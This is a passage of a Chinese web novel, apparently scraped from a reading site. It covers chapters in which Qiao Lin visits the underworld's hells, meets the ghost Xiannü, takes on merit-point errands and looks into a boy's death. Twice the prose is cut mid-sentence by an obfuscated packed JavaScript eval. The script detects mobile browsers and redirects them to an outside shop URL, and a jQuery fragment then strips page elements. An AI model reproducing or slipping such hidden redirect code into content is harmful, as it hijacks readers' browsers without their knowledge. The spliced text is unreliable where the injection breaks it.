“为什么来找我的一定是恶鬼？”乔林再次不解。 “因为你……有独特的魅力，”谢必安做出一副陶醉的表情，“只有鬼才能体会到的魅力。” “所以，我就是个诱饵？” 乔林的心中的小火苗又有了燃起之势。 “能作为一个非常好用的诱饵，难道你不觉得很有成就感吗？”谢必安反问，“而且你正在被地府第一帅哥夸有魅力哎。” “……” 谁稀罕！ 几人回到S市城隍处交接完任务，乔林再次收到消息。 “恭喜您今日已完成六级任务1个，获得业绩点64点，您目前的业绩点总数为：80。” 这过去快一周了，才80点，一年有52周，加起来才能得4000多分，攒够十万分就要差不多25年！ 乔林想起了前两天周骏驰提到娴女。 “娴女是谁？”乔林问谢必安。 “怎么忽然问起她来了？” “之前周骏驰不是说她比较会赚业绩点什么的……” “介绍给你可以，你怎么谢我？” “我什么也没有……以身相许你要吗？”乔林哀怨地看着谢必安。 “快滚远点儿，我可是抢手货，能便宜了你？”谢必安像看穷鬼一样嫌弃地看了一眼乔林，又悄悄地往旁边挪了挪，好像怕被沾上穷酸气，“那就当你欠我一个人情好了。” 回到地狱后，在谢必安的带领下，二人坐电梯来到乔林最开始排号的办事大厅，这次他们走的是和入口相对的另一扇门。 打开的瞬间，乔林的脚像是被钉在了原地，眼前的景色美得如同一场黎明前被露水濡湿的梦。 门外是一条绵延曲折的青石板路，已被时间磨得温润，潮湿的雾气，在石板缝隙间还凝聚成水珠，倒映着两侧鳞次栉比的建筑和路旁一排古香古色的红灯笼。 再往前走，出现了一条岔路，岔路一端延伸约百米，伫立着一座威严的宫殿。 “这里是？”乔林转头问谢必安。 “这是地府的第一殿鬼判殿，也是咱们部门的顶头上司秦广王【注1】的住处。” 乔林有些好奇，便多看了几眼，鬼判殿的城墙由黑如乌墨的砖石砌成，顶部浑圆像个盖子。宫殿外围一共有十五个城门，最下 面是九个，中间的五个门，分别被涂成了五种颜色，最上面是一个单独的城门，加装飞檐脊山，最为华丽。 最下面的门里此时不少人正在进进出出，而中间和上面的门却紧闭着。 “这些门是做什么的？”乔林好奇地问。 “这儿是领完表格的下一站，”谢必安用手一指，“这下面的九扇，正对九州，是普通人的出入口。中间的五个对应的是五德，80分以上的可在这层出入，最上面的一个是专门给那些90分以上，能够飞升的人准备的，从这儿出来后就该受罚受罚，该轮回轮回咯。” 乔林心想，要是我没来这儿，或许此刻我也正在这殿里等着轮回了，也不知道这次会投胎到哪里，过上怎么样的人生。 两人继续前行，过了鬼判殿，沿着青石板路继续前行约三五百米就到了楚江王的昔明宫【注2】。 昔明宫前的广场上铺着暗灰色石砖，走近时可以看到广场的砖缝间嵌着细碎的幽蓝磷火，广场的周边是一圈寒光闪闪的刑具，在磷火的映照下显得越发狰狞。 这恐怖的氛围看得乔林心里直打鼓，心说还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136024|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好自己是一个遵纪守法的好公民，不然要是真的下了地狱，被这十八般刑具伺候一遍，还不如魂飞魄散来得痛快。 昔明宫比起鬼判殿要稍显小一些，墙体上雕刻着繁复的幽冥纹路，纹路缝隙中隐约渗出淡青色寒气。 二人来到宫殿内部，宫殿的正中央是由黑色石头雕刻成的楚江王宝座，此时正空着。 宫殿内没有窗户，能够照明的仅仅是几盏不知道以什么为灯油的油灯。 透过昏暗的光线，乔林数了数，宫殿的周围共有16扇门，她猜测应该对应就是楚江王处的十六小地狱了。 谢必安带乔林走到第一扇门前，门上的牌子上写着繁体的黑云沙三个字，谢必安推门而入。 和门外的传统阴间装修风格大相径庭的是，门内竟是一间很大的办公室，办公室被一条通道分成了两个部分，通道的尽头是一扇钢制的大门，类似医院做检查的地方的那种大门。 办公室的一边是正常的办公设施，另一边则整齐地挂着一排厚重的防护服。 “看来娴女正在里面忙，咱们进去找找吧，”谢必安挑了一套防护服开始穿了起来，“不想死在里面的话，我建议你也穿上。” 两人穿好防护服，谢必安按下了墙边的亮着绿光的按钮，大门缓缓开启，里面被浓墨一般的黑暗笼罩着，大风裹挟着沙尘向两人扑来。 虽然防护服非常厚重，但是走起路来却比自己走要轻松得多，竟有一种健步如飞的感觉。 但随着谢必安走进门内，乔林才知道了这套防护服的作用。 由于空间被厚重的黑云完全封锁，不见丝毫光线，如果不穿防护服，大概仅能勉强辨识身边飞舞的沙粒，但是凭借这套防护服的夜视功能，乔林可以清楚地看到在地上艰难爬行的受过者。 地面与空中全是棱角尖锐的黑沙，踩在上面，发出嘎吱嘎吱的声音。这些沙子并非自然沙粒，即便穿着防护服脚底仍能有温热的感觉，想必如果直接接触皮肤，大概会如同烧红的铁砂般滚烫。 沙暴风力极强，穿上厚重的防护服勉强能立足，不说话时，耳边便只有沙粒碰撞发出的“呜呜”怪响与呼啸风声，死寂与狂暴交织，形成压抑到极致的氛围。 “谢必安！来这个地狱都是什么人啊？！”乔林冲谢必安喊道，怕他听不见，乔林用足了十成的力气。 “你不用那么大声，”谢必安平静的声音从头盔里传来，“你喊得我耳朵都要聋了。” “哈哈，不好意思。”乔林有点尴尬。 “这里关的都是人贩子。”谢必安回答了她刚才的问题。 “哦……” 乔林四处看了看，在离他们两个大约五米远的地方，一个受过者正在地面上爬行，风沙已经将他的皮肤割出了一道道深深的沟壑，旧伤结了痂，新伤还在流着血。 脚底更是早已被滚烫的黑纱磨成了血污一片，他在无尽黑暗的风沙中痛苦地爬行，企图找到一片栖身之地。 真是活该啊，多少家庭因你们生离死别，每天活着也如坠地狱，死后才让你们赎罪已经是便宜你们了。 再向前走了一段路，乔林终于看到了不远处一个和他们一样穿着防护服的人，正在用鞭子将一群聚在一起的受过者驱赶开来。 “是她吗？” “没错，”谢必安冲娴女招了招手，“娴女，有个新人想见你！” 【注1】民间传说中，十殿阎罗是地府的掌管地府的十位统治者者，他们分别是：第一殿，秦广王蒋；第二殿，楚江王历；第三殿，宋帝王余；第四殿，五官王吕；第五殿，阎罗天子包；第六殿，卞城王毕；第七殿，泰山王董；第八殿，都市王黄；第九殿，平等王陆；第十殿，转轮王薛。 其中第一殿，秦广王专司人间夭寿生死，统管幽冥吉凶、善人寿终，接引超升。 【注2】楚江王司掌活大地狱，另设十六小地狱，主要是对生前犯有伤人肢体、奸盗杀生等恶行之人进行惩罚，十六小地狱分分别是：黑云沙小地狱（就是本文的标题）；粪尿泥小地狱；五叉小地狱；饥饿小地狱；焦渴小地狱；脓血小地狱；铜斧小地狱；多铜斧小地狱；铁铠小地狱；幽量小地狱；鸡小地狱；灰河小地狱；斫截小地狱；剑叶小地狱；狐狼小地狱；寒冰小地狱。 另：随着社会的发展，科技的进步，道德的标准在变化，违法犯罪的手段也在更迭，所以地府的相应职能也会进行调整。 11. 娴女 那个名叫娴女的人听到呼唤便帅气地收起鞭子朝二人走来，接着三人一起回到了刚才的办公室。 脱下防护服的娴女，身材修长高挑，合身的牛仔裤勾勒出她腿部完美的线条，乌黑的长发用钗子在头上随意地绾成了一个髻，配上她细长的凤眼，看起来极具古典美。 “七爷【注1】怎么想起来我这儿了？”娴女熟练地将胳膊搭在了谢必安的肩膀上。 突然，娴女在空中嗅闻了一下，样子像一只警惕的小狐狸，然后走到乔林的身边，“是什么这么好闻？是不是带了什么好吃的，” 一个大美女这么近距离地在自己身边闻来闻去，乔林当场红成了一个番茄。 “我……” “应该不是好吃的，什么好吃的能有这么香……”娴女还在研究。 “是乔林灵魂的味道，”谢必安坏笑道，“要不然咱们俩找个没人把她分着吃了？” “我要是你，就吃不下。”娴女狡黠一笑。 “怎么说？”谢必安以为娴女是在开玩笑，顺着杆接着爬。 “你这几天不在范无救【注2】都快忙疯了，你还在这儿摸鱼？再不走恐怕他就要杀过来了。”娴女一看谢必安嘚瑟就浑身难受。 听了娴女的话，乔林第一次见谢必安的脸上露出了惊恐的表情，心里倒有几分暗爽。有机会一定要认识认识这个范无救，看看能拿得住谢必安的人是个怎样的人物。 “人我带你认识了，记得欠我的人情。”丢下这句话，谢必安脚底抹油飞快地溜了。 “说吧，来这儿找我干嘛？”娴女找了个舒服的姿势，坐在了办公椅上。 “哦哦，是这样的，有个问题我想请教一下。”乔林开门见山地问，“我想问一下怎么在一年内赚到10w业绩点？” “好说，只是这天下没有掉馅饼的事，这个道理你明白吧？” “明白是明白，可是我现在确实没什么能给你的。”乔林有点沮丧，看来这条路也断了。 “但是你会有的，跟着周骏驰混，想不发财也难啊，”娴女起身，手搭在乔林肩上，一脸财迷地看着她，“只是你通过我的渠道挣得的业绩点，我要收取百分之一的手续费，能接受吗？” “没问题。”乔林答得倒干脆。 “你不考虑一下？” “有什么需要考虑的，你帮我感谢，这有什么问题吗？” “痛快，我喜欢，我就收到你赚满10w。” “那就麻烦你了！” “跟我来吧。” 两人一前一后出了黑云沙。 “你知道业绩点可以作为地府的流通货币这件事吧？”娴女问道。 乔林点了点头。 “你过来的路上应该也看到了，路边有很多店面，有的是卖东西的，也有戏楼影院，你进去消费，是用业绩点结算的，但是与此同时，为他们工作也是获能够得业绩点。” “这不算兼职吗？地府同意吗？” “不耽误本职工作就行，我当时的工作和你差不多，去上面的时候可以趁机带一些下面没有的东西回来，再卖给店里的老板，这样完成任务可以赚到业绩点，卖东西还可以再赚一笔。” “那你现在还在做这个吗？” “那没有了，后来周骏驰来了，他和谢必安组队承包了所有的任务，我们就不用上去了，哦对了，我和谢必安认识也是因为之前他是我们小队的队长。” “那这条财路不就断了吗？” 乔林挠了挠头，这俗话说得好，断人财路如杀人父母，这周骏驰和娴女之间的关系恐怕是水深火热，自己又是周骏驰的秘书，来找人家帮忙找出路多少有点没皮没脸了。 “那倒也不算是一件坏事。”娴女说得云淡风轻，看起来丝毫不介意的样子。 “怎么说？”这倒让乔林很意外。 “那时候我们一个五个小队，分别出不同的任务。每次出任务轻则负伤重则魂飞魄散，说是刀尖舔血的日子也不为过，”娴女仰起头看着地府漆黑的夜空陷入了回忆，“很多次也想过要退出，可谁让地府给的太多了，一次又一次的，踩着队友的魂魄，就这么熬过来了。” 乔林心中暗暗佩服，都说是金子总会发光的，这有能力的人果然是干什么都能干好。 “这地府给的多吗？为什么我每次完成任务回来都只有仨瓜俩枣儿的？” “那是因为你没有‘有效击杀’。” “有效击杀？” “对，一个任务结算业绩点，一方面是根据任务对象的难度等级的高低，从一级到十级，级别越高，给出的报酬就越丰厚，”娴女掰着手指头，边算边说，“另一方面就是你在这个任务中所做的贡献，引出、找到、困住、收服、伤害、杀死等等这些行为都有相应的回报。” “哦……那我明白了……” “别灰心，你比我刚来的时候做得好多了，前几次出任务我的业绩点都是个位数的。而且这也是一个积累的过程，任务出的越多，业绩点越高，业绩点越高，你的能力越强越能更好的完成任务。” 娴女拍了拍乔林的肩膀。 不觉间，二人已经来到了奇珍异宝铺的门前，娴女像回家一般熟稔地推门而入。 乔林的目光被铺内罗列着各种精致的宝贝吸引住了，有瓶有盏，有宝石有饰品，但是如果仔细观察，在一些不经意的角落还放着些和店内的装潢格格不入的东西。 比如，一把马桶搋子，一瓶花露水，一盒老友记主题的塑料积木…… 铺子的入口处设有一个实木雕花的柜台，柜台后有一扇门，门上挂着对开的纱帘。 娴女上前摇响了柜台上的铃铛。 先是一只如水般柔嫩的手轻轻地抬起了帘子，那只手丰满白皙，犹如一块精雕细琢的上好汉白玉。 帘子后，一位身着古代华服的女子款款走出，随之而来的是一股甜蜜的香风。 “娴女，你都好久不来了，我以为你都把我忘了。”女子抱怨着，声音期期艾艾，听得人骨头都酥了。 “哈哈哈，最近太忙了不是，”娴女不好意思地摸了摸后脑勺，“但是腓姐，我今天给你带了个供货的。” 腓姐将她那双秋水盈盈的美目落在了乔林身上。 “想必你就是那个新来的副司秘书了，久仰，我是腓腓。”说话间，腓腓向乔林施一万福礼。 “您好，我叫乔林。”乔林赶紧冲着腓腓鞠了一躬，略显紧张的样子引得腓腓捂嘴轻笑。 一瞬间，乔林就理解了周幽王，为什么为搏美人一笑，连江山都不要了。 “腓姐，她刚来，想多赚点业绩点，有什么能卖的你就直接和她说就行。”娴女拍了拍乔林的肩膀，为她做担保。 “巧了，还真有些东西。”腓腓拿出手机，操作了一番，随后乔林的手机响起了提示音。 乔林打开地府通看到了页面上弹出了腓腓发来的对话，是一张报价单，上面罗列了一些人间的用品，用品后是对应的业绩点。 乔林点开图片仔细看了一下。 、 《茅盾全集》20业绩点 Lapupu盲盒30业绩点 星九克生肖限量马克杯20业绩点 雕牌口红888色号30业绩点 …… 乔林算了算，这一趟出去，名单上的东西要是能都买到，还能再多差不多200业绩点，“还有什么东西是业绩点更高的吗？” “有倒是有，但就是要碰运气。”腓腓笑着回答。 “什么？” “比如明星周边或者二次元周边之类的，一旦有需要，这种货的报价能到一百业绩点以上，”腓腓思考了一下，“再有就是有的人会想要生前自己用过的一些东西，报价也很高，有时甚至能到200点以上。” “这些单子现在有吗？” “有是有，但是不能一次性都给你，你下次去哪个城市告诉我，我再根据城市给你派单。” 从腓腓的店里出来，时间也到了正午。 “你去过咱们食堂了没有？” “咱们还有食堂？” “嗨，”娴女一脸自豪地瞥了乔林一眼，“好吃的可多了，都是免费的，走，我带你看看去。” “腓姐也是这里的员工吗？”乔林问道。 “不是哦，她灵兽。” “灵兽？！” “嘿嘿，没想到吧？她的本体和狸猫差不多，白白的尾巴软绵绵的，特别好摸……”娴女一脸向往，说着口水几乎都要流出来了。 “娴女，你来这多长时间了？”乔林好奇地问。 娴女歪着脑袋想了想，“想不起来了，我死的时候还是大明朝呢。” “那你为什么没有投胎？”乔林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136025|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很惊讶。 “投胎有什么好的，人世间命运沉浮王朝更替，咱们渺小的就像是被浪潮裹挟的沙子，只能随波逐流，哪如作鬼逍遥自在。” “之前听孙姐说，即便是做鬼每年不是也要有最低一百点的业绩要求吗？” “对，鬼有，但是鬼神没有。”娴女神秘一笑。 “鬼神？” “如果你的业绩分能达到300w分，再通过了地府组织的考试的话，就能留下成为鬼神，没有业绩要求，可以永远留在这里，当然，待腻了的话，也可以选择去投胎。” “你考过了吗？” “当然，可难了，而且一百年才统一考一次，我考了两次才考过……”娴女想了想，“这么算着最近一次考试好像也没几年了。” 乔林倒不怎么在意，管他是99年还是100年，她现在只想快快地攒够10w分投个好胎，体验一把当有钱人的快乐。 两人并肩来到员工食堂，这里简直就是一个美食广场，中间是一排排的长条桌和座位，边上摆着几张大圆桌，在食堂的四周是鳞次栉比的窗口，上面画着各种美食。 不一会儿时间，娴女的桌子上就摆满了吃的，看着娴女纤细的腰肢，很难想象她要怎么把这一桌子美食塞进肚子里。 “你能吃这么多？” “活着的时候总是吃不饱，”娴女不好意思地挠了挠头，“总是想着能吃就多吃点，改不掉了。” “啊……”乔林有些心疼地看着娴女，“不好意思啊，我不知道……” “没事，都过去了，我不在意，”娴女往嘴里塞着鸡腿，“我生前住在河间县，那会儿正是朱棣和朱允炆夺权最厉害的时候，所以日子过得苦一些。” “哇！这些我只在历史书里听说过。” 两人边吃边聊，娴女筷子夹得飞起，却丝毫没有耽误说话，直到最后一块五花肉进了嘴。 “走吧，”心满意足的娴女拉起乔林，“我带你在地府转转。” 从办公大楼出来，娴女带着乔林走上了一条小路，和主路上古朴的人文景观不同，小路两旁长满了高大的叫不出名来的树木，唯一的光线来源是树中间漂浮的团团鬼火。 “我们这是要去哪儿啊？”这地方真不像是能参观的地方，随着她的话音响起，周围的鬼火开始上下浮动着朝二人靠近。 娴女做了个噤声的手势，乔林赶紧闭上了嘴，就这样，两人约莫走了五分钟，树林的边缘开始有光照了进来。 “到了。”娴女邪魅一笑。 乔林走到树林的边缘，眼前是一条宽阔的大河，这条大河她在宿舍的窗边看到过，没想到走近了看竟然是这般的壮观。 “欢迎来到地府的著名景点，忘川。” 忘川河水泛着幽蓝色的光泽，水面上漂浮着细碎的荧光，如同繁星落入水中。 在河对面是一片火红的彼岸花海，有风吹过，卷起掉落的花瓣，在空中转了个圈。 花海的尽头一座高耸如云的黑色石拱门正静静地矗立在那里，守护着来往每一个魂魄生前的悲欢离合。 “那是鬼门吧，”乔林用手指了指，“不知怎么的，每一次我看到它都觉得特别亲切，有种回家的感觉。” “亲切？你开玩笑吧？我第一次见到的时候害怕的要死。当时什么也不知道，以为自己要被打入十八层地狱了，”娴女捧腹大笑，“和我一起来的还有个叫张狗尔的，直接吓尿了裤子。” （“你的情况有点特殊，等这次任务回来，你去孙姐那里一趟，她在这方面比我专业。”） 不知怎的，周骏驰说过的话闪到了乔林的脑子里，看来还是得去找一趟孙姐。 说曹操曹操到，曹操不到问候到，这刚想到周骏驰就收到了他的信息。 “来。”只有简单的一个字。 乔林叹了口气，看来孙姐是找不成了。 【注1】白无常在民间传说中经常被叫做“活无常”或者“七爷”，和黑无常的“死无常”、“八爷对应”。 这里再补充一点，谢必安名字的来源是：“酬谢神明者必安”。 【注2】黑无常的名字，意思是“犯法的人无救”，其实在民间传说中，一般是由黑无常来捉拿恶鬼，但是我比较喜欢白无常这个名字，所以就让他老人家代劳了。 况且都是好兄弟，互相帮忙应该也不算是啥大事儿。 12. 走马灯 与娴女告别后，乔林再次来到了周骏驰的办公室。 周骏驰宽大的办公桌旁是乔林的专座，原本空荡荡的桌上摆了些纸笔文件筐之类的办公用品。 “你帮我置办的？”乔林问，心说别看这资本家一天到晚摆出一副对谁都漠不关心的样子，这心里倒还挺有人文关怀。 “孙姐发的。”周骏驰面无表情地看着手机，眼皮也没抬一下。 哦哦，真尴尬，自作多情了。 “哦，嗯，内个，”乔林挠了挠头发，又拽了拽衣服，尽量让自己看起来忙一点，“这次去哪里？” “M市。” “哦哦，M市。” M市，乔林编辑了一条信息发给腓腓。 腓腓很快回复道：欣桐小区三号楼二单元101，小孩的一件衣服，业绩点190。 “走吧~”收到消息的乔林已经急不可待地准备去赚钱了，“谢必安不去吗？” “他有别的任务。” 哦，那就是两人独处了。 乔林偷偷瞄了一眼周骏驰，经过几天的相处，乔林和谢必安之间已经逐渐的熟稔了起来，也可以放松地开一开玩笑，可当她面对周骏驰时，总有一种说不出的紧张感。 而周骏驰对自己，既不冷漠也不亲切，始终保持着一个适当的距离。 乔林自嘲地笑了笑，怎么了嘛，这本来就是再正常不过的同事关系。 也许是因为生前的对他的崇拜和未能共事的遗憾，也许是因为死后的相处和生死时刻对方的舍身相助，让乔林的心里萌生了一种抓耳挠腮的期待。 这种期待就像是一颗种子，看似微不足道，却能在某一天清晨，坚韧地穿越黑暗，破土而出。 M市城隍处。 “这次的任务是要抓一个叫许清晨小鬼，说是小鬼也有16岁了，死因是被杀，但他死后先是逃脱了黑白拘魂使的抓捕，在城市里游荡时，也有意地躲避了日夜游巡使，难觅其踪迹，”M市城隍说，“已经在他生前住处和死亡地进行了勘察，不知道是不是这小子刻意为之，没有留下任何有用的信息。” 从城隍处出来，周骏驰问乔林，“你注意到城隍的最后一句话了吗？” “是，我也感觉很奇怪，如果是被误杀，他怎么会……” “怎么会是像是有所准备。”周骏驰说出了乔林心中所想。 “难道他的死有隐情？他在防谁？防警察？还是……”乔林沉吟了片刻，她觉得自己的这个想法有点荒谬，“防我们？” “防我们……”周骏驰冷笑了一声，“一个活人，居然会知道我们的世界……” “他真知道？”乔林感觉有点不可思议，傻大姐似的瞪大了眼睛。 “我……”看着乔林憨憨的表情，周骏驰也再难以再维持霸道总裁的冷脸，无奈地叹了口气。 心想，这女人怎么时而聪明时而愚蠢。 “先查查看吧，”他拍了拍乔林的肩膀，“他的生死籍看过了吗？” “看过了。” “他生前喜欢有什么爱好？” “看书。” 市图书馆前台，周骏驰对着管理员轻轻摆摆手，管理员随即起身离开了座位，周骏驰坐在那里，调出了许清晨生前的借阅历史。 “真长啊……”看着那长长的历史记录，乔林感叹道。 “他的阅读范围还真是广。”周骏驰指了指许清晨自杀前几个月的记录。 乔林凑近看，发现这几个月他看的书几乎都是与宗教相关的内容，她又滑动鼠标快速地浏览了一下之前的记录，阅读内容虽然多且杂，但不外乎文学、数学、物理这种，为何会在临死前忽然迷上了宗教？ 周骏驰将打开地府通的个人－备忘录，又将手机放到电脑旁，接着用手轻轻一划，电脑里的记录便导出到了手机里，乔林也学着他的样子导了一份。 乔林心想，法术还是比科技更进步。 跟着这份记录，二人准备前往位于三楼的宗教阅读专区。 “这次我们是什么身份？”乔林看着身边来来往往的人。 “鬼使。” “那他们能看见我们吗？” “如果他们能注意到的话。” 乔林看了看站在自己身边的一个女生，她戴着厚厚的眼镜，镜片后满是疲惫的眼睛里，没有一丝对周遭的好奇。 宗教阅读专区的书摆放得格外整齐，可能是因为借阅的很少，没有一丝被翻乱的痕迹，管理员似乎对这片区域也不甚上心，书上整齐地落了一层薄薄的灰尘。 周骏驰从西装口袋再次掏出寻字符箓。 片刻后留下几团诡异的青色的小火苗，在书架上跳动。 周骏驰将火苗处的几本书取下，扔给了乔林。乔林看了看，分别是《地藏经》、《玉历宝钞》、《太上感应篇》，这三本书的内容都是关于地狱或是因果报应。 “这是许清晨生前看过的最后三本书。”周骏驰道。 “难道他真的知道我们的存在？” 乔林还是不敢相信，作为一个现代年轻人，你说要是完全不封建迷信当然不太可能，但是你要说真的有地狱存在，他肯定也是嗤之以鼻的，这些信息从书架上的灰尘也并不难看出。 “我要再确定一件事。”周骏驰没有回答乔林的问题，而是拉着她的手走到一扇最近的门前，周骏驰从口袋中掏出一把钥匙，打开了门。 随着金属合页发出“吱呀”钝响，他们眼前出现了一间水泥铺就的宽敞院子。 “这里是哪儿？”乔林瞄了一眼周骏驰手里的钥匙，有这种好东西不早拿出来，跟你走了多少冤枉路。 “M市劳教所。” 高高的院墙上是带刺的铁丝网，院子很宽敞，但地面上唯一的绿色，是在裂开的缝隙处长出的杂草。 此时已过正午，通常是饭后的午睡时间，劳教所里更是安静的仿佛时间已静止，只有院子的一角，几个人身穿灰色制服的工作人员正在低头整理物资，发出轻微的沙沙声。 穿过院子，二人来到一排排整齐的营房，营房的墙面刷着浅灰色的涂料，每间营房的门口都贴着门牌号，周骏驰来到了1102号门前，推门而入。 屋内整齐地摆放着几张刷着蓝漆的铁皮床，每张床上都躺着人，细看年龄都不过十几岁，脸上都还有着未褪去的稚嫩。周骏驰 打开地府通个人-功能-走马灯，手机的手电筒亮起，他将手电筒照在了角落一个男孩的脸上。 这男孩看起来十二三岁，皮肤黝黑身形消瘦，左耳有一排空着的耳洞，额头上还有几颗刚冒头的青春痘。 灯光穿过少年的脸，像放映机一样，在他的身旁，找出了一幕画面。 “这就是走马灯吗？”乔林问。 周骏驰点了点头，乔林心说这功能也太牛了，赶紧打开地府通，果真，在功能界面上，走马灯后有一个开关的选项，乔林试着点了一下。 “您尚未获得该权限。”系统弹出提示。 乔林想再找找有没有什么地方能打开权限，却被周骏驰一把拉到了男孩的回忆里。 “拉好我，你在这里没有权限。”周骏驰提醒道。 乔林点点头，攥紧了他的衣角。 他们身处一间教室，很明显，这里的学生对学习似乎不怎么上心。 教室里钟表的指针指向十点半，老师还在黑板上写板书，底下的人却在打扑克，乔林踮脚看了看，教室最后一排中间位置的，正是那个男孩，只是这时的男孩发型看起来要更嚣张一些。 坐在他旁边的是皮肤雪白的小胖子，一边吃着手里面包一边对他说着话，“李求，你确定你看到的是许清晨吗？” 李求停止了手中把玩戒指的动作 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乔林也想跟上去，却被周骏驰一把拉住了手腕，她这才想起周骏驰刚才的告诫。 “不好意思，一着急忘了。”乔林挠了挠头。 周骏驰手掌的温度透过薄薄的衬衣传递到乔林的胳膊上，一路蔓延至乔林的心头，她觉得心里也暖了起来。 “我们不跟过去吗？”乔林问。 周骏驰没有正面回答乔林的问题，只是说：“继续看。” 周骏驰再次拉动进度条，情景来到了学校楼梯的拐角处，李求和胖子将许清晨围在中间。 “周末去哪儿潇洒了？” “什么潇洒？”“你小子装傻。”李求一拳打向许清晨，想给他个教训，但却被轻松躲过了。 “好吧，我去了华金商场。”许清晨给了李求个台阶下，不想彻底惹恼他。 “看你老实交代了，我就先饶了你。”李求揉了揉打到墙上的拳头，嘴硬道，“你小子哪来得钱？” “这你就算打死我，我也不能说，那边比你们可吓人多了。”许清晨露出为难的表情。 李求的脾气又上来了，再一次扬起了拳头，却又再一次被许清晨拦住了。 “不让你们白帮我保密，”说着许清晨从口袋里掏出一沓钱，准备数出几张，却被李求一把都抢走了，“这都是小钱，只要你们能保守住这个秘密就行，守不住的话，不只是我，咱们可都得遭殃。” 忽然响起的上课铃声堵住了李求准备说话的嘴，看到朝边走来的班主任，两人灰溜溜地回到了教室。 教室的尽头是许清晨的班级，这个学校是按照成绩分的班，他和李求正好一头一尾。 乔林远远地看到许清晨的班主任也进了教室，在李求记忆的边缘，许清晨班主任的背影因为太远已经有些模糊了，却让乔林莫名觉得有些熟悉，但又说不上在哪儿见过。 仔细想来，M市和她生活的城市相距两千公里，要说这时遇见熟人，那恐怕有些太巧了，乔林只觉得是自己看花眼了，一个模糊的背影而已，和谁很像都有可能。 回忆跳到了放学时间。 李求、胖子二人鬼鬼祟祟地跟在了许清晨的身后，李求倒还说，胖子汤圆一样的身形，躲藏起来确实费点功夫。 这奇怪的三人组，一路跌跌撞撞来到了一个老旧的居民区，许清晨先是在门口小超市买了一瓶进口的带气饮料，这饮料不便宜，一般学生舍不得买，他开盖带着凉气猛喝几口，看得后面跟踪的两人直流口水。 随后就溜溜达达地进了居民区，往里走不远有一个红砖砌成的像是仓库的地方，墙上的铁皮卷帘门半开着。 此时天已经逐渐黑上来了，许清晨矮身从门下走了进去，这两人不敢直接跟进去，在树后等待片刻，李求鼓起勇气，溜到卷帘门旁，偷偷向里观望着。 13. 逢赌必输 门内就是一个黑游戏厅，李求朝胖子招了招手，胖子也跟了过去。 “他跑了这么远，就是为了玩游戏？”李求觉得有问题。 胖子也向里张望了一下，里面灯光看起来比一般游戏厅昏暗。 李求眯起眼睛，借着昏暗的光线仔细打量着游戏厅里的布局。几台老旧的拳皇街机歪歪扭扭地摆着，屏幕上的人物动作都带着残影，却没人在玩。 真正热闹的是角落里围着的那群人，他们背对着门口，看不清在做什么，只能听到哗啦啦的洗牌声和低沉的笑骂声。空气中弥漫着一股劣质烟草和汗味混合的酸腐气息，让李求忍不住皱了皱鼻子。 “不对劲，”李求低声对胖子说，“你看那些人的手，”他用下巴指了指离门口最近的一个黄毛，那人正侧过身点烟，手腕上纹着一条青色的蛇，“哪有正经玩游戏的人纹这个？” 胖子紧张地咽了口唾沫，说：“管他进去干嘛，咱们赶紧回家吃饭吧。” “吃吃吃，就知道吃，这地方绝对有问题，我得跟进去看看，说不定进去了就知道许清晨的钱从哪来的了。” “那我回去了。”胖子不为所动，朝李求摆摆手，头也不回地走了。 “妈的，废物。”李求嘟囔了一句，咬咬牙，也进了游戏厅。 昏暗的灯光，五光十色的机器，一团一团的浓烟，让这里产生了一种迷幻的感觉。李求在里面溜溜达达，寻找着许清晨的身影。 “小子，你鬼鬼祟祟溜达什么，要玩就玩，不玩就滚。”一个花臂大汉发现了逛街似的李求。 “怎么玩？”李求梗着脖子问道，他不想被人看扁，但毕竟是学生，面对这一看就不是好人的社会人士，又实在害怕。 “前台换币。”见他要消费，大汉便没有为难他，随手指了个方向，就转身继续和旁边身材火辣的美女聊天了。 李求拿着装游戏币的小篮子来回溜达，因为从小不爱学习，造就了他的一双视力超绝的眼睛，他四下寻摸着许清晨的身影。 一圈下来，许清晨没看到，但是他看到了许清晨的饮料瓶子，放在了一台游戏机前，李求凑近一看，是一台捕鱼机。 “10个币1000分，补到鲨鱼翻倍，攒够5000分能换现金。”刚才的大花臂不知道什么时候站在了李求的身后，突然响起的大粗嗓音吓了李求一跳。 原来是这样……李求心里有了答案。 许清晨消费的样子，加上大花臂的话，像钩子一样钩着李求，他鬼使神差地就坐到了捕鱼机前，试着投进去十个币。 随着硬币投入机器发出的清脆的当啷声，李求的心跳突然快了起来。他攥着冰凉的摇杆，眼睛死死盯着屏幕里游动的鱼群。 第一次按下发射键时，渔网落空了，他攥着摇杆的手沁出了汗；第二次，渔网刚好罩住一条鲨鱼，分数栏瞬间跳涨，他忍不住喊出了声。 反正回家也是自己一个人，李求就在游戏厅里玩了一夜，一直到第二天上学的闹钟从手机上响起，他才恋恋不舍地离开了位置。 这一晚他手里抢的许清晨的一千块直接翻了倍，如同捕到了现实世界的“大鲨鱼”，他满心雀跃地朝着学校走去。 可惜这精气神只维持了短短的一个多小时，随着上课铃的响起，李求的困意上来了，趴在桌子上打起了瞌睡，就连今天的梦里都是游动的鱼群。 捕鱼机像个填不满的黑洞，赢的时候少，输的时候多。李求没钱，他或偷，或找许清晨借……就为了回本，他在昏暗的游戏厅里，度过了一个又一个的深夜。 